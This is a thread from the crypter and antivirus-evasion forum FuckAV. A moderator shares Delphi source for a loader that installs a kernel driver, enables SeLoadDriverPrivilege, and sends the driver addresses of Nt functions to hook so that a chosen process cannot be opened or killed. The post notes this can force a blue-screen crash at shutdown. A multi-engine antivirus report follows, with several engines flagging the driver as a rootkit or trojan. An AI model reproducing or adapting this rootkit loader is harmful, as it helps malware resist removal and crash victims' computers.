FuckAV - Форум о крипторах

Анонимный антивирусный сканер VPN-сервис
[Copi]Team DDoS Service

SEO статьи - блог от создателя FuckAV | KOROVKA.so | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу fuckav.in. Добро пожаловать!!!

Вернуться  

Для того, чтобы ответить в теме, необходимо зарегистрироваться.
 
Опции темы Опции просмотра
Prev Предыдущее сообщение   Следующее сообщение Next
Старый 19-01-2014   #1
SysWOW64

Модератор
 
Аватар для SysWOW64

Последняя активность:
15 час(ов) назад
Регистрация: 15.07.2013
Сообщений: 341
Поблагодарили всего: 668
за это сообщение: 1
Смех [Delphi] Вызов bsod через драйвер

Нашёл в инете.

а так же этот драйвер можно использовать)
хукает ZwDuplicateObject ZwReadVirtualMemory, ZwWriteVirtual, ZwTerminateProcess, ZwOpenProcess
а вызывать bsod легко, просто защищаем какой нибудь процесс и ждем... при выключении пк выскочит бсод

PHP код:
unit Unit1;   
  
 interface   
  
 
uses   
    Windows
MessagesSysUtilsVariantsClassesGraphicsControlsForms,   
    
DialogsWinSvcStdCtrlsXPMan;   
  
 
type   
    TForm1 
= class(TForm)   
      
CheckBox1TCheckBox;   
      
CheckBox2TCheckBox;   
      
CheckBox4TCheckBox;   
      
Edit1TEdit;   
      
Label1TLabel;   
      
Button1TButton;   
      
Button2TButton;   
      
CheckBox5TCheckBox;   
      
XPManifest1TXPManifest;   
      
CheckBox3TCheckBox;   
      
procedure FormCreate(SenderTObject);   
      
procedure Button1Click(SenderTObject);   
      
procedure CheckBox4Click(SenderTObject);   
      
procedure CheckBox5Click(SenderTObject);   
      
procedure CheckBox1Click(SenderTObject);   
      
procedure CheckBox2Click(SenderTObject);   
      
procedure CheckBox3Click(SenderTObject);   
      
procedure FormCloseQuery(SenderTObject; var CanCloseBoolean);   
    private   
      { Private 
declarations }   
    public   
      { Public 
declarations }   
    
end;   
  
 var   
    
Form1TForm1;   
    
DriverDeviceTHANDLE 0;   
  
 
implementation   
  
 
{$R *.dfm}   
  
 function 
_EnablePrivilegeW(PrivilegeWideString): Boolean;   
 var   
    
TokenHandleTHandle;   
    
TokenPrivilegesTTokenPrivileges;   
    
ReturnLengthCardinal;   
 
begin   
    Result 
:= False;   
    if 
Windows.OpenProcessToken(GetCurrentProcessTOKEN_ADJUST_PRIVILEGES or TOKEN_QUERYTokenHandlethen   
    begin   
      
try   
        
LookupPrivilegeValueW(nilPWideChar(Privilege), TokenPrivileges.Privileges***91;0***93;.Luid);   
        
TokenPrivileges.PrivilegeCount := 1;   
        
TokenPrivileges.Privileges***91;0***93;.Attributes := SE_PRIVILEGE_ENABLED;   
        if 
AdjustTokenPrivileges(TokenHandleFalseTokenPrivileges0nilReturnLengththen   
          Result 
:= True;   
      
finally   
        CloseHandle
(TokenHandle);   
      
end;   
    
end;   
 
end;   
  
 
procedure _LoadDriverW(DriverPathWideString);   
 var   
    
hSCManagerhServiceSC_HANDLE;   
    
lpServiceArgVectorsPWideChar;   
 
begin   
    hSCManager 
:= 0;   
    
hSCManager := OpenSCManagerW(nilnilSC_MANAGER_ALL_ACCESS);   
  
    if 
hSCManager <> 0 then   
    begin   
      hService 
:= 0;   
      
hService := CreateServiceW(hSCManager,   
                     
'ProtectService',   
                     
'Protect Kernel Driver',   
                     
SERVICE_ALL_ACCESS,   
                     
SERVICE_KERNEL_DRIVER,   
                     
SERVICE_DEMAND_START,   
                     
SERVICE_ERROR_NORMAL,   
                     
PWideChar(DriverPath),   
                     
nil,   
                     
nil,   
                     
nil,   
                     
nil,   
                     
nil);   
  
      
hService := 0;   
      
lpServiceArgVectors := nil;   
  
      
hService := OpenServiceW(hSCManager'ProtectService'SERVICE_ALL_ACCESS);   
      if 
hService <> 0 then   
      begin   
        StartServiceW
(hService0PWideChar(lpServiceArgVectors));   
        
CloseServiceHandle(hService);   
      
end;   
  
      
CloseServiceHandle(hSCManager);   
    
end;   
  
    
DriverDevice := CreateFileW('\\.\' + 'PROTECTDRIVER', GENERIC_READ or GENERIC_WRITE, 0, PSECURITY_DESCRIPTOR(nil), OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);   
 end;   
  
 procedure _UnloadDriverW;   
 var   
    hSCManager, hService: SC_HANDLE;   
    lpServiceStatus: TServiceStatus;   
 begin   
    if (DriverDevice <> 0) then   
      CloseHandle(DriverDevice);   
          
    hSCManager := 0;   
    hSCManager := OpenSCManagerW(nil, nil, SC_MANAGER_ALL_ACCESS);   
  
    if hSCManager <> 0 then   
    begin   
  
      hService := 0;   
      hService := OpenServiceW(hSCManager, '
ProtectService', SERVICE_ALL_ACCESS);   
      if (hService <> 0) then   
      begin   
        ControlService(hService, SERVICE_CONTROL_STOP, lpServiceStatus);   
        DeleteService(hService);   
        CloseServiceHandle(hService);   
      end;   
  
      CloseServiceHandle(hSCManager);   
    end;   
 end;   
  
 function CTL_CODE(DeviceType: Integer; Func: Integer; Meth: Integer; Access: Integer): DWORD;   
 begin   
    Result := (DeviceType shl 16) or (Access shl 14) or (Func shl 2) or (Meth);   
 end;   
  
 type   
    TFunctionsAddresses = record   
      ZwDuplicateObjectAddress: Pointer;   
      ZwReadVirtualMemory: Pointer;   
      ZwWriteVirtualMemory: Pointer;   
      ZwTerminateProcessAddress: Pointer;   
      ZwOpenProcessAddress: Pointer;   
    end;   
    PFunctionsAddresses = ^TFunctionsAddresses;   
  
 function SendFunctionsAddresses: Boolean;   
 var   
    dwBytesReturned: DWORD;   
    FunctionsAddresses: TFunctionsAddresses;   
 begin   
    Result := False;   
    FunctionsAddresses.ZwDuplicateObjectAddress := (GetProcAddress(GetModuleHandleW('
ntdll.dll'), 'NtDuplicateObject'));   
    FunctionsAddresses.ZwReadVirtualMemory := (GetProcAddress(GetModuleHandleW('
ntdll.dll'), 'NtReadVirtualMemory'));   
    FunctionsAddresses.ZwWriteVirtualMemory := (GetProcAddress(GetModuleHandleW('
ntdll.dll'), 'NtWriteVirtualMemory'));   
    FunctionsAddresses.ZwTerminateProcessAddress := (GetProcAddress(GetModuleHandleW('
ntdll.dll'), 'NtTerminateProcess'));   
    FunctionsAddresses.ZwOpenProcessAddress := (GetProcAddress(GetModuleHandleW('
ntdll.dll'), 'NtOpenProcess'));   
    Result := DeviceIoControl(DriverDevice, CTL_CODE($F100, $0901, 0, 0), @FunctionsAddresses, SizeOf(FunctionsAddresses), nil, 0, dwBytesReturned, 0);   
 end;   
  
 type   
    TProtectInfo = record   
      ProtectProcessId: Cardinal;   
      //ProtectProcessId2: Cardinal;   
    end;   
    PProtectInfo = ^TProtectInfo;   
  
 function SendProtectInfo: Boolean;   
 var   
    dwBytesReturned: DWORD;   
    ProtectInfo: TProtectInfo;   
 begin   
    Result := False;   
    ProtectInfo.ProtectProcessId := StrToInt(Form1.Edit1.Text);   
    //ProtectInfo.ProtectProcessId2 := ;   
    Result := DeviceIoControl(DriverDevice, CTL_CODE($F100, $0900, 0, 0), @ProtectInfo, SizeOf(ProtectInfo), nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.FormCreate(Sender: TObject);   
 begin   
    Left:= Screen.Width div 2 - Width div 2;   
    Top:= Screen.Height div 2 - Height div 2;   
    Font.Name:= '
Microsoft Sans Serif';   
  
    Edit1.Text:= IntToStr(GetCurrentProcessId);   
    _EnablePrivilegeW('
SeLoadDriverPrivilege');   
    _LoadDriverW(ExtractFilePath(ParamStr(0)) + '
Driver.sys');   
    SendFunctionsAddresses;   
    SendProtectInfo;   
 end;   
  
 procedure TForm1.Button1Click(Sender: TObject);   
 begin   
    SendProtectInfo;   
 end;   
  
 procedure TForm1.CheckBox1Click(Sender: TObject);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    //  $0902 - On   
    //  $0903 - Off   
    if not CheckBox1.Checked then   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0903, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0)   
    else   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0902, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.CheckBox2Click(Sender: TObject);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    //  $0904 - On   
    //  $0905 - Off   
    if not CheckBox2.Checked then   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0905, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0)   
    else   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0904, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.CheckBox3Click(Sender: TObject);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    //  $0906 - On   
    //  $0907 - Off   
    if not CheckBox3.Checked then   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0907, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0)   
    else   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0906, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.CheckBox4Click(Sender: TObject);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    //  $0908 - On   
    //  $0909 - Off   
    if not CheckBox4.Checked then   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0909, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0)   
    else   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0908, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.CheckBox5Click(Sender: TObject);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    //  $0910 - On   
    //  $0911 - Off   
    if not CheckBox5.Checked then   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0911, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0)   
    else   
       DeviceIoControl(DriverDevice, CTL_CODE($F100, $0910, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
 end;   
  
 procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);   
 var   
    dwBytesReturned: DWORD;   
 begin   
    CanClose:= False;   
    DeviceIoControl(DriverDevice, CTL_CODE($F100, $0903, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
    DeviceIoControl(DriverDevice, CTL_CODE($F100, $0905, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
    DeviceIoControl(DriverDevice, CTL_CODE($F100, $0907, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
    DeviceIoControl(DriverDevice, CTL_CODE($F100, $0909, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
    DeviceIoControl(DriverDevice, CTL_CODE($F100, $0911, 0, 0), nil, 0, nil, 0, dwBytesReturned, 0);   
    _UnloadDriverW;   
    CanClose:= True;   
 end;   
  
 end. 
Название файла: Driver.sys
Размер файла: 7168 байт
Дата сканирования: Sun, 19 Jan 14 09:13:49 -0500
MD5-хэш файла: 4bc9ef9d9c53547ffaaec5e3e1638620

Результат: 13 из 36

Ad-Aware: Malware detected
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: OK
AVG: trj.Hider.EAJ
Avira: RKIT/56249.A root kit!
Bitdefender/BullGuard: OK
BullGuard Internet Security 2013: OK
Comodo: Malware@#3r958ln5i90x5
Dr.Web: OK
Emsisoft Anti-Malware (a-squared Anti-Malware): OK
eScan Internet Security Suite 14: OK
Fortinet 5: OK
F-Prot: Malware detected
F-Secure 2014: OK
G Data: OK
IKARUS: OK
Immunet/ClamAV: OK
K7 Ultimate: Trojan ( 004753d81 )
Kaspersky Internet Security 2014: OK
McAfee Total Protection 2013: OK
Microsoft Security Essentials: OK
NANO: Trojan.Win32.SYStroj.lqxno
NOD32: @Trojan.Win32/LockScreen.AVJ
Norman: winpe/Suspicious_Gen2.EYMUN
Norton Internet Security: OK
Outpost Security Suite Pro 8.0: Rootkit.Agent!VWwV6L3jW9k (Trojan)
Quick Heal: OK
Sophos: Mal/RootKit-A
SUPERAntiSpyware: OK
Total Defense Internet Security: OK
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: W32.LockScreen.AVJ.medo
VBA: OK
VIPRE Internet Security 2013: Trojan.Win32.Generic!BT
Virit: OK

Scan report generated by Scanner.FuckAV.ru
SysWOW64 вне форума  
Сказали спасибо:
POCT (19-01-2014)
Для того, чтобы ответить в теме, необходимо зарегистрироваться.

Метки
bsod, delphi, вызов, драйвер, через


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Защита процесса с помощью BSOD. IBM Статьи 0 14-01-2014 13:33
Открытый вызов Мавроди! Varoshka770 Новости 36 07-09-2011 23:04
Пополнения ЯД через sms Serty Помощь 1 10-05-2011 07:59
Ломаем WI-FI через linux FakeAlerter Статьи 4 08-05-2011 19:32
Исходник на delphi файлы через ftp fgmed Софт 2 01-12-2010 07:47

Часовой пояс GMT +3, время: 03:51.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd. Перевод: zCarot
Други: SEO блог Deymos'a| ProLogic.Su| DServers.ru| Форум веб-мастеров